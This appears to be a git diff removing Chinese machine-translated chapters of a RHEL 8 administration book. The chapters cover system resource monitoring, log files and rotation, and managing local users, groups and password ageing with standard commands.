-在本节中,您将检查系统**资源**的可用性,例如**内存**和**磁盘**。 - -保持系统平稳运行意味着使用监视,以便我们可以检查服务是否在运行,以及系统是否为它们提供了执行任务所需的资源。 - -我们可以使用一些简单的命令来监控最基本的用例: - -* 磁盘 -* CPU -* 内存 -* 网络 - -这包括多种监视方法,例如一次性监视、连续监视、甚至一段时间监视,以更好地诊断性能。 - -## 内存 - -可以通过`free`命令监视内存。 它提供了关于有多少*RAM*和*SWAP*可用和正在使用的详细信息,其中还表示有多少内存被共享、缓冲区或缓存使用。 - -Linux 倾向于使用所有可用的内存; 任何未使用的 RAM 都指向未被使用的缓存或缓冲区和内存页。 如果可用,这些将被交换到磁盘: - -```sh -# free - total used free shared buff/cache available -Mem: 823112 484884 44012 2976 294216 318856 -Swap: 8388604 185856 8202748 -``` - -例如,在前面的输出中,我们可以看到系统总共有 823 MB 的 RAM,并且它正在使用一些交换和一些内存作为缓冲区。 这个系统没有大量交换,因为它几乎是空闲的(我们将在本章后面检查平均负载),所以我们不应该担心它。 - -当 RAM 使用率很高且没有更多可用的交换时,内核包含一个名为**OOM-Killer**的保护机制。 它根据执行时间、资源使用情况以及系统中应该终止哪些进程来恢复系统以使其正常工作。 然而,这是有代价的,因为内核知道可能已经失控的进程。 然而,杀手可能会杀死数据库和 web 服务器,并以不稳定的方式离开系统。 对于生产服务器,通常不是让 om - killer 以不受控制的方式开始终止进程,而是调优一些关键进程的值以使这些关键进程不被终止,或者导致系统崩溃。 - -系统崩溃用于收集调试信息,稍后可以通过包含导致崩溃的信息的转储以及可以诊断的内存转储对这些信息进行分析。 - -我们将在[*第 16 章*](16.html#_idTextAnchor200),*内核调优和使用调优*管理性能配置文件中回到这个话题。 让我们继续检查正在使用的磁盘空间。 - -## 磁盘空间 - -磁盘空间可以通过**df**工具检查。 `df`为每个文件系统提供输出数据。 这个指示文件系统及其大小、可用空间、利用率和挂载点。 - -让我们在示例系统中检查一下: - -```sh -> df -Filesystem 1K-blocks Used Available Use% Mounted on -devtmpfs 368596 0 368596 0% /dev -tmpfs 411556 0 411556 0% /dev/shm -tmpfs 411556 41724 369832 11% /run -tmpfs 411556 0 411556 0% /sys/fs/cgroup -/dev/mapper/rhel-root 40935908 11026516 29909392 27% -/dev/sda2 1038336 517356 520980 50% /boot -/dev/sda1 102182 7012 95170 7% /boot/efi -tmpfs 82308 0 82308 0% /run/user/1000 -``` - -通过使用它,可以很容易地将重点放在文件系统上,使用更高的利用率和更少的可用空间来防止问题。 - -重要提示 - -如果一个文件正在被写入,比如一个进程记录它的输出,删除该文件只会从文件系统中断开该文件的链接,但是由于进程的文件句柄仍然是打开的,在进程停止之前不会回收该空间。 在必须尽快提供磁盘空间的危急情况下,最好通过重定向(如`echo "" > filename`)来清空文件。 这将在进程仍在运行时立即恢复磁盘空间。 使用`rm`命令执行此操作需要最终完成该进程。 - -接下来我们将检查 CPU 的使用情况。 - -## CPU - -当谈到监控 CPU 时,我们可以使用以下几种工具,例如`ps`: - -![Figure 4.7 – Output of the ps aux command (every process in the system) ](img/B16799_04_007.jpg) - -图 4.7 - ps aux 命令的输出(系统中的每个进程) - -`ps`命令实际上是检查哪个进程正在运行以及资源消耗使用情况的标准。 - -对于任何其他命令,我们可以编写大量关于我们可以使用的所有不同命令参数的内容(因此,再次查看手册页以获得详细信息),但作为一条规则,请尝试了解它们的基本用法或对您更有用的用法。 其他的请查看手册。 例如,`ps aux`为正常使用(系统中的每个进程)提供了足够的信息。 - -如下截图所示,`top`工具定期刷新屏幕,并可以对正在运行的进程的输出进行排序,如 CPU 使用率、内存使用率等。 此外,`top`还显示内存使用情况、`load average`、正在运行的进程等的五行摘要: - -![Figure 4.8 – top execution on our test system ](img/B16799_04_008.jpg) - -图 4.8 -测试系统的顶层执行 - -CPU 使用不是唯一可能导致系统迟缓的因素。 现在,让我们了解一些关于负载平均指示器的内容。 - -## 平均负载 - -负载平均值通常以组的形式提供,其中包含三个数字,例如`load average: 0.81, 1.00, 1.17`,这是分别计算出的 1、5 和 15 分钟的平均值。 这表明系统有多忙; 利率越高,它的反应就越差。 每个时间的比较值,给我们的系统负载是否增加 1 或 5(高值和低 15 日)或者向下(15 分钟,低于 5 和 1),所以它变成了一个快速的方法来找出如果发生或者正在进行。 如果系统通常具有较高的平均负载(超过 1.00),那么最好深入挖掘可能的原因(对其电力的需求太大,可用资源不多,等等)。 - -既然我们已经介绍了基本知识,让我们继续,看看可以对系统资源使用情况执行的一些额外检查。 - -## 其他监控工具 - -对于**监控**网络资源,我们可以检查每个卡通过`ifconfig`发送/接收的数据包,并匹配发送数据包、接收数据包、错误等的接收值。 - -当目标是执行更完整的监视时,我们应该确保安装了**sysstat**包。 它包括一些互动的工具,如**iostat**,可以用来检查磁盘性能,但最重要的是,它还建立了一个工作,在期刊的基础上收集系统性能数据(默认是每 10 分钟)。 这将被存储在`/var/log/sa/`中。 - -可以查询每天(`##`)在`/var/log/sa/sa##`和`/var/log/sa/sar##`记录和存储的历史数据,以便与其他日期进行比较。 通过以更高的频率运行数据收集器(由*systemd*计时器执行),我们可以在调查问题时增加特定时间段的粒度。 - -然而,*sar*文件的出现显示了大量的数据: - -![Figure 4.9 – Contents of /var/log/sar02 on the example system ](img/B16799_04_009.jpg) - -图 4.9 -示例系统中/var/log/sar02 的内容 - -在这里,我们可以看到 8-0 设备每秒有 170.27 个事务,14.51%的利用率。 在本例中,设备的名称使用主要/次要的值,我们可以在`/dev/`文件夹中检入这些值。 我们可以通过运行`ls -l /dev/*|grep 8`看到这一点,如下截图所示: - -![Figure 4.10 – Directory listing for /dev/ for locating the device corresponding to major 8 and minor 0 ](img/B16799_04_010.jpg) - -图 4.10 - /dev/用于定位重要 8 和次要 0 对应的设备的目录列表 - -在这里,我们可以看到这对应于`/dev/sda`处的完整硬盘统计数据。 - -提示 - -通过**sar**处理数据是了解系统运行情况的一种好方法,但是由于*sysstat*包在 Linux 中已经存在很长时间了, 还有一些工具,如[https://github.com/mbaldessari/sarstats](https://github.com/mbaldessari/sarstats),可以帮助我们处理已记录的数据,并将其以图形方式呈现为 PDF 文件。 - -在下面的图表中,我们可以看到不同驱动器的系统服务时间,以及系统崩溃时的标签。 这可以帮助我们识别系统在这一点上的活动: - -![Figure 4.11 – Sarstats graphics for the disk service's time in their example PDF at https://acksyn.org/software/sarstats/sar01.pdf ](img/B16799_04_011.jpg) - -图 4.11 -在示例 PDF 中,磁盘服务在[https://acksyn.org/software/sarstats/sar01.pdf](https://acksyn.org/software/sarstats/sar01.pdf%20)时间的 Sarstats 图形 - -用于监视系统资源的现代工具已经发展起来,并且**Performance Co-Pilot**(**pcp**和**pcp-gui**包可以被设置为更强大的选项。 请记住,pcp 要求我们也启动系统上的数据收集器。 - -RHEL8 还包括**座舱**,当我们进行服务器安装时,默认安装。 这个软件包提供了一组工具,使系统能够进行 web 管理,并且它也可以通过扩展其功能的插件使其成为其他产品的一部分。 - -座舱提供的 web 服务可以通过您的主机 IP 端口`9090`到达,因此您应该访问`https://localhost:9090`以获得登录屏幕,以便我们可以使用我们的系统凭据登录。 - -重要的提示 - -如果座舱没有安装或可用,请确保执行`dnf install cockpit`安装包,并使用`systemctl enable --now cockpit.socket`启动服务。 如果您正在远程访问服务器,而不是使用`localhost`,那么在允许防火墙通过`firewall-cmd --add-service=cockpit`连接后使用服务器主机名或 IP 地址(如果您以前没有这样做的话)。 - -登录后,我们会看到一个仪表板,显示了相关的系统信息和其他部分的链接,如下图所示: - -![Figure 4.12 – Cockpit screen after logging in with a system dashboard ](img/B16799_04_12.jpg) - -图 4.12 -用系统仪表板登录后的驾驶舱画面 - -正如你所看到的,*驾驶舱*包括几个选项卡,可以用来查看系统的状态,甚至执行一些管理任务,如**SELinux,软件更新,订阅,等等。** - -例如,我们可以查看系统的性能图表,如下面的截图所示: - -![Figure 4.13 – Cockpit graphs in the dashboard for Usage Graphs ](img/B16799_04_13.jpg) - -图 4.13 -仪表板中使用图的座舱图 - -座舱允许我们检查服务状态,软件包升级状态,以及其他配置设置从图形界面,也可以远程连接到其他系统。 这些可以从左边的横向菜单中选择。 - -有更好的工具适合大型部署监视和管理,如*Ansible*和*卫星*,这是重要的适应我们的工具我们可以建立故障诊断和简单的脚本。 这使我们能够结合目前所学的知识,快速生成需要我们注意的事物的线索。 - -至此,我们已经介绍了检查资源使用的一些基础知识。 现在,让我们看看如何查找关于正在运行的服务和可以检查的错误的信息。 - -# 查找日志,使用日志,读取日志文件,包括日志保存和旋转 - -在本节中,您将学习如何通过日志检查系统的状态。 - -在本章前面,我们学习了如何通过*systemd*管理系统服务,检查它们的状态,以及检查它们的日志。 传统上,用于在`/var/log/`文件夹下创建文件的不同守护进程和系统组件基于守护进程或服务的名称。 如果服务用于创建多个日志,那么它将在服务的一个文件夹中创建日志(例如,**httpd**或**samba**)。 - -系统日志守护进程,`rsyslogd`,*有一个新的 systemd*伙伴,名叫`systemd-journald.service`,还存储日志,而不是使用传统的纯文本格式,它使用二进制格式,可以通过查询`journalctl`命令。 - -习惯阅读日志文件非常重要,因为这是进行故障排除的基础,因此让我们了解一般日志记录以及如何使用它。 - -日志包含生成它的服务的状态信息。 他们可能有一些通用的格式,并且通常可以配置,但是他们倾向于使用一些通用的元素,如以下: - -* 时间戳 -* 生成条目的模块 -* 消息 - -举例如下: - -```sh -Jan 03 22:36:47 el8-692807 sshd[50197]: Invalid user admin from 49.232.135.77 port 47694 -``` - -在本例中,我们可以看到有人试图从 IP 地址`49.232.135.77`作为`admin`用户登录我们的系统。 - -我们可以将该事件与附加日志相关联,例如通过`journalctl -u systemd-logind`登录子系统的日志。 在本例中,我们无法找到`admin`用户的任何登录(这是预期的,因为`admin`用户没有在系统中定义)。 - -此外,我们可以看到主机的名称`el8-692807`、生成它的服务`sshd`、`50197`的**PID**,以及该服务记录的消息。 - -除了*journalctl*之外,当我们希望检查系统的健康状况时,还可以查看其他日志。 让我们看一个带有`/var/log/messages`的例子: - -![Figure 4.14 – Excerpt of /var/log/messages ](img/B16799_04_014.jpg) - -图 4.14 - /var/log/messages 的摘录 - -在本例中,我们可以看到系统在执行与初始行相似的输出时如何运行一些命令。 例如,在前面的示例中,我们可以看到`sysstat`是如何每 10 分钟执行一次的,以及`dnf`缓存是如何更新的。 - -让我们来看看在标准系统安装中可用的重要日志的列表(注意文件名是相对于`/var/log folder`的): - -* `boot.log`:存储引导过程中系统发出的消息。 它可能包含用于提供彩色输出的转义代码。 -* `audit/audit.log`:包含由内核审计子系统生成的存储消息。 -* `secure`:包含安全相关消息,如`sshd`登录失败。 -* `dnf.log`:DNF 包管理器产生的日志,如缓存刷新等。 -* `firewalld`:*防火墙*守护进程产生的输出。 -* `lastlog`:这是一个二进制文件,其中包含最近几个登录到系统的用户的信息(通过`last`命令查询)。 -* `messages`:默认的日志记录功能。 这个意味着任何不是特定日志的东西都将放在这里。 通常,这是开始检查系统发生了什么事情的最佳位置。 -* `maillog`:邮件子系统日志。 当启用时,它将尝试传递消息。 接收到的任何消息都将存储在这里。 通常的做法是配置从服务器发送的邮件,以便能够发送系统警报或脚本输出。 -* `btmp`:访问系统失败的二进制日志。 -* `wtmp`:用于访问系统的二进制日志。 -* `sa/sar*`:*sysstat*实用程序的文本日志(命名为*sa*的二进制日志,加上白天数,在晚上通过*cron*作业进行转换)。 - -可能存在其他日志文件,这取决于已经安装的服务、所使用的安装方法,等等。 习惯可用的日志是非常重要的,当然,还要检查它们的内容,以了解消息是如何格式化的,每天创建多少日志,以及它们产生什么样的信息。 - -使用记录的信息,我们将获得如何配置每个守护进程的提示。 这允许我们在只显示错误或更详细地显示调试问题之间调整日志级别。 这意味着我们可以配置所需的日志旋转,以避免由于所有空间都被日志占用而危及系统稳定性。 - -## 日志旋转 - -在系统正常运行过程中,需要使用大量的守护进程,系统本身会生成日志,用于故障排除和系统检查。 - -一些服务可能允许我们根据日期定义要写入的日志文件,但通常,标准是将日志记录到一个名为`/var/log`的守护进程的文件中; 例如:`/var/log/cron`。 写入同一个文件将导致文件增长,直到保存日志的驱动器被填满,这可能没有意义,因为在一段时间后(有时,在公司定义的策略下),日志不再有用。 - -**logrotate**包提供了一个带有`cron`条目的脚本,用于简化日志旋转过程。 它通过`/etc/logrotate.conf`进行配置,每天执行一次,如下所示: - -![Figure 4.15 – Example listing of logs and rotated logs (using date extension) ](img/B16799_04_015.jpg) - -图 4.15 -日志列表和旋转日志示例(使用日期扩展) - -如果我们检查配置文件的内容,我们将会看到,它包括一些文件定义直接或通过 dropin 文件`/etc/logrotate.d/`文件夹,每个程序可以放弃自己的需求没有影响别人包安装,删除或更新。 - -为什么这很重要? 因为,如果你还记得的技巧在本章早些时候(虽然谈到磁盘空间),如果`logrotate`删除文件和创建一个新的,实际的磁盘空间不会被释放,这个守护进程写入日志将继续写入文件是写(通过文件句柄)。 为了克服这个问题,每个定义文件都可以定义一个后旋转命令。 这标志着日志旋转的过程,以便它可以关闭然后重新打开用于日志记录的文件。 有些程序在执行时可能需要像`kill –SIGHUP PID`这样的信号,或者像`chronyc cyclelogs`这样的特殊参数。 - -有了这些定义,`logrotate`将能够为每个服务应用配置,同时,保持服务在正常状态下工作。 - -配置还可以包括一些特殊的指令,例如: - -* `missingok` -* `nocreate` -* `nopytruncate` -* `notifempty` - -您可以在`logrotate.conf`的**手册页**中找到关于它们(和其他包)的更多信息(是的,有些包还包括配置文件的手册页,因此尝试检查`man logrotate.conf`以获得完整的详细信息!) - -剩下的一般配置在主文件允许我们定义一些常见的指令,比如日志保留多少天,如果我们想使用日期在旋转日志文件的文件扩展名,如果我们想使用压缩旋转日志,我们想要旋转的频率执行,等等。 - -让我们看一些例子。 - -下面的示例将以`daily`为基础旋转,保留`30`旋转的日志,`compress`旋转的日志,并使用带有`date`的扩展名作为其尾部文件名的一部分: - -```sh -rotate 30 -daily -compress -dateext -``` - -在本例中,它将保持`4`日志在`weekly`的基础上旋转(4 周),将`compress`日志,但使用每个旋转日志序列号(这意味着每次发生旋转,以前的序列号增加旋转日志): - -```sh -rotate 4 -weekly -compress -``` - -这种方法(不使用`dateext`)的优点之一是,日志命名约定是可预测的,因为我们将`daemon.log`作为当前的命名约定,`daemon.1.log`作为先前的命名约定,以此类推。 这使得编写日志解析和处理脚本变得更加容易。 - -# 总结 - -在本章中,我们了解了`systemd`以及它如何以优化的方式引导所需的系统服务。 我们还学习了如何检查服务的状态,如何启用、禁用、启动和停止它们,以及如何使系统引导到我们引导系统进入的不同目标。 - -时间同步是一个必须具备的功能,它确保我们的服务正常运行。 它还允许我们确定系统时钟的状态,以及如何作为我们网络的时钟服务器。 - -我们也使用系统工具来监控资源使用,学会了如何检查日志,是由我们的系统发现的功能状态不同的工具,以及如何可以确保正确维护日志,这样旧的条目被丢弃时不再相关。 - -在下一章中,我们将深入讨论使用不同的用户、组和权限保护系统。 \ No newline at end of file diff --git a/docs/rhel8-admin/05.md b/docs/rhel8-admin/05.md deleted file mode 100644 index 59666a96..00000000 --- a/docs/rhel8-admin/05.md +++ /dev/null @@ -1,979 +0,0 @@ -# 五、使用用户、组和权限保护系统 - -安全性是管理系统的关键部分,任何系统管理员都需要理解安全性概念,以便为正确的用户或用户组提供对正确资源的正确访问。 - -在本章中,我们将回顾在**Red Hat Enterprise Linux**(**RHEL**)中安全性的基础知识。 我们将向系统中添加新用户并更改其属性。 我们还将向组中添加一个用户,在进行更改之前检查组将在本章中看到。 我们将检讨如何处理用户密码、更改密码的年龄要求、锁定和/或限制用户访问。 我们将使用`sudo`作为一种方式,将管理员权限分配给系统中的不同用户(甚至禁用根帐户)。 我们还将深入研究文件权限以及如何更改它们,使用扩展功能使命令能够在不同的用户或组中运行,或简化目录中的组协作。 - -我们将涵盖以下议题: - -* 创建、修改、删除本地用户帐号和组 -* 管理小组和检查任务 -* 调整密码策略 -* 为管理任务配置 sudo 访问 -* 检查、审查和修改文件权限 -* 使用特殊的权限 - -让我们从用户帐户和组的权限和安全性开始。 - -# 创建、修改、删除本地用户帐号和组 - -的第一个任务,一个系统管理员当准备一个的用户系统访问是创建新用户帐户访问系统。 在本节中,我们将回顾如何创建和删除本地帐户,以及如何将它们分配给组。 - -第一步是在系统中创建一个新的用户帐户。 这可以通过使用`useradd`命令完成。 让我们通过运行以下命令将`user01`添加到系统中: - -```sh -[root@rhel8 ~]# useradd user01 -[root@rhel8 ~]# grep user01 /etc/passwd -user01:x:1001:1001::/home/user01:/bin/bash -[root@rhel8 ~]# id user01 -uid=1001(user01) gid=1001(user01) groups=1001(user01) -``` - -这样就创建了用户。 - -重要提示 - -为了能够添加用户,我们需要管理权限。 在当前配置中,我们通过以`root`的形式运行命令来实现这一点。 - -该帐户使用系统默认选项创建,如下所示: - -* **No password assigned**:新用户将无法使用密码登录。 但是,我们可以使用`su`作为`root`切换到该帐户。 接下来我们将看到如何为用户添加密码。 -* **用户 ID (UID)**:999 以上的第一个号码。 在前面运行的命令中,对于`user01`,UID 是`1001`。 -* **组 ID (GID)**:与 UID 相同。 本例中 GID 为`1001`。 -* **Description**:创建用户时没有添加描述信息。 该字段为空。 -* **Home**:在`/home/$USER`中创建了一个`home`目录,本例中为`/home/user01`。 这将是用户的默认和主目录,是他们的个人偏好和文件将被存储的地方。 初始内容从`/etc/skel`复制。 -* **Shell**: The default shell is `bash`. - - 提示 - - 创建新用户时应用的默认选项在`/etc/default/useradd`文件中定义。 - -一旦创建了用户,我们可以通过运行添加(或更改)密码,如`root`、命令`passwd`和用户名来更改密码: - -```sh -[root@rhel8 ~]# passwd user01 -Changing password for user user01. -New password: redhat -BAD PASSWORD: The password is shorter than 8 characters -Retype new password: redhat -passwd: all authentication tokens updated successfully -``` - -现在已经为用户分配了新密码。 注意两件事: - -* 用户`root`可以在不知道前一个用户的情况下将密码更改为任何用户(即完全重置密码)。 当用户度假回来不记得密码时,这很有用。 -* 在这个示例中,我们显示了所分配的密码`redhat`,但它没有显示在屏幕上。 但是,密码太简单了,不符合默认的复杂度标准,因为`root`我们仍然可以分配它。 - -让我们用之前学过的`id`命令来检查新用户: - -```sh -[root@rhel8 ~]# id user01 -uid=1001(user01) gid=1001(user01) groups=1001(user01) -``` - -在本节中采取的步骤之后,现在系统中有了用户,可以使用了。 我们可以用来用`useradd`定制用户创建的主要选项如下: - -* `-u`或`--uid`:指定用户 UID。 -* `-g`或`--gid`:为用户分配主组。 它可以通过编号(GID)或名称指定。 首先需要创建这个组。 -* `-G`或`--groups`:通过提供以逗号分隔的组列表,使其成为其他组的用户部分。 -* `-c`或`--comment`:提供用户的描述,如果要使用空格,在双引号之间指定。 -* `-d`或`--home-dir`:定义用户的主目录。 -* `-s`或`--shell`:为用户分配自定义 shell。 -* `-p`或`--password`:为用户提供密码的一种方式。 要使用这种方法,密码应该已经加密。 建议*而不是*使用此选项,因为有多种方法可以捕获加密的密码。 请用`passwd`代替。 -* `-r`或`--system`:创建系统帐户,而不是用户帐户。 - -如果我们需要更改用户的任何属性,比如描述,该怎么办? 这个工具是`usermod`。 让我们将描述修改为`user01`: - -```sh -[root@rhel8 ~]# usermod -c "User 01" user01 -[root@rhel8 ~]# grep user01 /etc/passwd -user01:x:1001:1001:User 01:/home/user01:/bin/bash -``` - -`usermod`命令使用与`useradd`相同的选项。 现在很容易自定义当前用户。 - -让我们创建`user02`作为如何使用选项的示例: - -```sh -[root@rhel8 ~]# useradd --uid 1002 --groups wheel \ ---comment "User 02" --home-dir /home/user02 \ ---shell /bin/bash user02 -[root@rhel8 ~]# grep user02 /etc/passwd -user02:x:1002:1002:User 02:/home/user02:/bin/bash -[root@rhel8 ~]# id user02 -uid=1002(user02) gid=1002(user02) groups=1002(user02),10(wheel) -``` - -提示 - -当命令行太长时,可以添加字符`\`,然后按*输入*,在新行上继续命令。 - -现在我们知道了如何创建用户,但是我们可能还需要创建一个组并将用户添加到其中。 让我们用`groupadd`命令创建`finance`组: - -```sh -[root@rhel8 ~]# groupadd finance -[root@rhel8 ~]# grep finance /etc/group -finance:x:1003: -``` - -我们可以将`user01`和`user02`用户加入`finance`组: - -```sh -[root@rhel8 ~]# usermod -aG finance user01 -[root@rhel8 ~]# usermod -aG finance user02 -[root@rhel8 ~]# grep finance /etc/group -finance:x:1003:user01,user02 -``` - -重要提示 - -我们使用`-aG`选项将用户添加到组中,而不是修改用户所属的组。 - -一旦知道了如何创建用户和组,让我们检查如何使用`userdel`命令删除它们: - -```sh -[root@rhel8 ~]# userdel user01 -[root@rhel8 ~]# grep user01 /etc/passwd -[root@rhel8 ~]# id user01 -id: 'user01': no such user -[root@rhel8 ~]# grep user02 /etc/passwd -user02:x:1002:1002:User 02:/home/user02:/bin/bash -[root@rhel8 ~]# id user02 -uid=1002(user02) gid=1002(user02) groups=1002(user02),10(wheel),1003(finance) -[root@rhel8 ~]# ls /home/ -user user01 user02 -[root@rhel8 ~]# rm -rf /home/user01/ -``` - -如您所见,我们需要手动删除`home`目录。 如果我们想保留用户的数据以供将来使用,那么这种删除用户的方法是很好的。 - -要完全删除用户,我们将应用选项`-r`。 让我们试试`user02`: - -```sh -[root@rhel8 ~]# userdel -r user02 -[root@rhel8 ~]# ls /home/ -user user01 -[root@rhel8 ~]# grep user02 /etc/passwd -[root@rhel8 ~]# id user02 -id: 'user02': no such user -``` - -现在让我们用`groupdel`命令删除`finance`组: - -```sh -[root@rhel8 ~]# groupdel finance -[root@rhel8 ~]# grep finance /etc/group -``` - -正如我们所看到的,在 RHEL 中创建用户和组并进行简单的赋值是简单且容易的。 在下一节中,让我们更深入地了解如何管理年龄段和分配给他们的任务。 - -# 管理小组和审查任务 - -我们看到了如何使用`groupadd`创建组,如何使用`groupdel`删除组。 让我们看看如何使用`groupmod`修改已创建的组。 - -让我们创建一个小组一起工作。 我们将通过运行以下命令来创建拼写错误的`acounting`组: - -```sh -[root@rhel8 ~]# groupadd -g 1099 acounting -[root@rhel8 ~]# tail -n1 /etc/group -acounting:x:1099: -``` - -你看,我们在名字上犯了一个错误,没有拼写`accounting`。 我们甚至可能添加了一些用户帐户到它,我们需要修改它。 我们可以使用`groupmod`并运行以下代码: - -```sh -[root@rhel8 ~]# groupmod -n accounting acounting -[root@rhel8 ~]# tail -n1 /etc/group -accounting:x:1099: -``` - -现在我们已经看到了如何修改组名。 通过使用`-g`选项,我们不仅可以修改名称,还可以修改 GID: - -```sh -[root@rhel8 ~]# groupmod -g 1111 accounting -[root@rhel8 ~]# tail -n1 /etc/group -accounting:x:1111: -``` - -通过运行`groups`命令%,我们可以看到哪些组被分配给了用户: - -```sh -[root@rhel8 ~]# groups user -user : user wheel -``` - -这样,我们就可以在 Linux 系统中管理组和用户了。 让我们继续讨论密码策略。 - -# 调整密码策略 - -就像[*中提到第三章*](03.html#_idTextAnchor029),*【显示】基本命令和简单的 Shell 脚本,用户存储在`/etc/passwd`文件加密的密码,或**密码散列,存储在`/etc/shadow`文件。*** - -提示 - -一种散列算法可以从提供的数据块(即文件或单词)中生成精确的字符串或散列。 它这样做的方式是,它总是从相同的原始数据生成相同的哈希,但几乎不可能从哈希重新创建原始数据。 这就是为什么它们被用来存储密码或验证下载文件的完整性。 - -让我们看一个例子,通过将`grep`用户作为`root`运行`/etc/shadow`: - -```sh -user:$6$tOT/cvZ4PWRcl8XX$0v3.ADE/ibzlUGbDLer0ZYaMPNRJ5gK17LeKnoMfKK9 .nFz8grN3IafmHvoHPuh3XrU81nJu0.is5znztB64Y/:18650:0:99999:7:3:19113: -``` - -与密码文件一样,存储在`/etc/shadow`中的数据每行有一个条目,字段用冒号分隔(`:`)。 - -* `user`:账户名。 应该与`/etc/passwd`中相同。 -* `$6$tOT/cvZ4PWRcl8XX$0v3.ADE/ibzlUGbDLer0ZYaMPNRJ5gK17LeKnoMfKK 9.nFz8grN3IafmHvoHPuh3XrU81nJu0.is5znztB64Y/`: Password hash. It contains three parts separated by `$`: - - —`$6`:算法,用于加密文件。 在本例中,`6`表示为 SHA-512。 数字`1`是旧的,现在不安全的 MD5 算法。 - - -`$tOT/cvZ4PWRcl8XX`:密码**盐**。 此令牌用于改进密码加密。 - - —`$0v3.ADE/ibzlUGbDLer0ZYaMPNRJ5gK17LeKnoMfKK9.nFz8grN3IafmHvoHPuh3XrU81nJu0.is5znztB64Y/`:加密密码哈希。 使用 salt 和 SHA-512 算法,将创建此令牌。 当用户进行验证时,进程将再次运行,如果生成相同的散列,则验证密码并授予访问权限。 - -* `18650`:最后一次修改密码的时间和日期。 格式为自 1970-01-01 00:00 UTC 以来的天数(该日期也称为,即**epoch**)。 -* `0`:用户可以再次修改密码的最小天数。 -* `99999`:用户必须再次更改密码的最大天数。 如果为空,则不会过期。 -* `7`:提示用户密码即将过期的天数。 -* `3`:密码过期后,用户仍然可以登录的天数。 -* `19113`:密码过期日期。 如果为空,则不会在特定日期过期。 -* ``: The last colon is left to allow us to add new fields easily. - - 提示 - - 要将`date`字段转换为人类可读的日期,可以执行以下命令:`date -d '1970-01-01 UTC + 18650 days'`。 - -如何更改密码的到期日期? 这样做的工具是`chage`,对于**改变年龄**。 让我们首先回顾一下可以以相同顺序存储在`/etc/shadow`中的选项: - -* `-d`或`--lastday`:最后一次修改密码的时间和日期。 其格式为`YYYY-MM-DD`。 -* `-m`或`--mindays`:用户可以再次修改密码的最小天数。 -* `-W`或`--warndays`:提示用户密码即将过期的天数。 -* `-I`或`--inactive`:天数,一旦密码过期,必须通过该天数才能锁定账户。 -* `-E`或`--expiredate`:用户帐号被锁定的日期。 日期以`YYYY-MM-DD`格式表示。 - -让我们试一试。 首先,我们创建`usertest`帐户: - -```sh -[root@rhel8 ~]# adduser usertest -[root@rhel8 ~]# grep usertest /etc/shadow -usertest:!!:18651:0:99999:7::: -``` - -重要提示 - -工具`adduser`和`useradd`是 RHEL 8 中的相同工具。 你可以自由地用你觉得最舒服的方式来输入它。 - -您将注意到,在前面的示例中,从粗体的两个感叹号`!!`中可以看出,没有设置密码,我们使用的是默认值。 让我们修改一下密码,检查一下差异。 使用任意密码: - -```sh -[root@rhel8 ~]# passwd usertest -Changing password for user usertest. -New password: -Retype new password: -passwd: all authentication tokens updated successfully. -[root@rhel8 ~]# grep usertest /etc/shadow -usertest:$6$4PEVPj7M4GD8CH.4$VqiYY.IXetwZA/g54bFP1ZJwQ/yc6bnaFauHGA1 1eFzsGh/uFbJwxZCQTFHIASuamBz.27gb4ZpywwOA840eI.:18651:0:99999:7::: -``` - -创建密码散列,并将最后一次更改的日期保持与当前日期相同。 让我们建立一些选项: - -```sh -[root@rhel8 ~]# chage --mindays 0 --warndays 7 --inactive 3 --expiredate 2030-01-01 usertest -[root@rhel8 ~]# grep usertest /etc/shadow -usertest:$6$4PEVPj7M4GD8CH.4$VqiYY.IXetwZA/g54bFP1ZJwQ/yc6bnaFauHGA1 1eFzsGh/uFbJwxZCQTFHIASuamBz.27gb4ZpywwOA 840eI.:18651:0:99999:7:3:21915: -[root@rhel8 ~]# date -d '1970-01-01 UTC + 21915 days' -mar ene 1 01:00:00 CET 2030 -``` - -请注意`/etc/shadow`文件中与`chage`指定值对应的变化。 我们可以使用`chage`的选项`–l`检查更改: - -```sh -[root@rhel8 ~]# chage -l usertest -Last password change : ene 24, 2021 -Password expires : never -Password inactive : never -Account expires : ene 01, 2030 -Minimum number of days between password change : 0 -Maximum number of days between password change : 99999 -Number of days of warning before password expires: 7 -``` - -要更改默认值,我们将编辑`/etc/login.defs`。 让我们看看最常见的变化: - -```sh -# Password aging controls: -# -# PASS_MAX_DAYS Maximum number of days a password may be used. -# PASS_MIN_DAYS Minimum number of days allowed between password changes. -# PASS_MIN_LEN Minimum acceptable password length. -# PASS_WARN_AGE Number of days warning given before a password expires. -# -PASS_MAX_DAYS 99999 -PASS_MIN_DAYS 0 -PASS_MIN_LEN 5 -PASS_WARN_AGE 7 -``` - -请花几分钟回顾一下`/etc/login.defs`中的选项。 - -现在,我们可能遇到用户离开公司的情况。 我们如何锁定帐户以便用户不能访问系统? `usermod`命令有`–L`选项,用于**锁**。 让我们试一试。 首先,让我们登陆系统: - -![Figure 5.1 – User account usertest logging into the system ](img/B16799_05_001.jpg) - -图 5.1 -用户帐户 usertest 登录到系统 - -现在让我们锁定账户: - -```sh -[root@rhel8 ~]# usermod -L usertest -[root@rhel8 ~]# grep usertest /etc/shadow -usertest:!$6$4PEVPj7M4GD8CH.4$VqiYY.IXetwZA/g54bFP1ZJwQ/yc6bnaFauHGA 11eFzsGh/uFbJwxZCQTFHIASuamBz.27gb4ZpywwOA840eI.:18651:0:99999:7:3:21915: -``` - -注意,在密码散列之前添加了一个`!`字符。 这是用来锁住它的装置。 让我们试着再次登录: - -![Figure 5.2 – User account usertest not being able to log into the system ](img/B16799_05_002.jpg) - -图 5.2 -用户帐户 usertest 不能登录到系统 - -使用`–U`选项可以解锁该帐户: - -```sh -[root@rhel8 ~]# usermod -U usertest -[root@rhel8 ~]# grep usertest /etc/shadow -usertest:$6$4PEVPj7M4GD8CH.4$VqiYY.IXetwZA/g54bFP1ZJwQ/yc6bnaFauHGA1 1eFzsGh/uFbJwxZCQTFHIASuamBz.27gb4ZpywwOA840eI.:18651:0:99999:7:3:21915: -``` - -现在您可以看到`!`字符被删除了。 请再次尝试登录。 - -重要提示 - -为了完全锁定帐户,而不仅仅是使用密码登录(还有其他机制),我们应该将到期日期设置为`1`。 - -另一个常见的用例是希望用户访问系统时,如有一个网络共享目录(通过 NFS 或 CIFS,解释在[*第十二章*](12.html#_idTextAnchor160),*【显示】管理本地存储和文件系统),但你不希望他们能够在系统运行命令。 为此,我们可以使用一个非常特殊的壳层,即`nologin`壳层。 让我们使用`usermod`将 shell 分配给`usertest`用户帐户:* - -```sh -[root@rhel8 ~]# usermod -s /sbin/nologin usertest -[root@rhel8 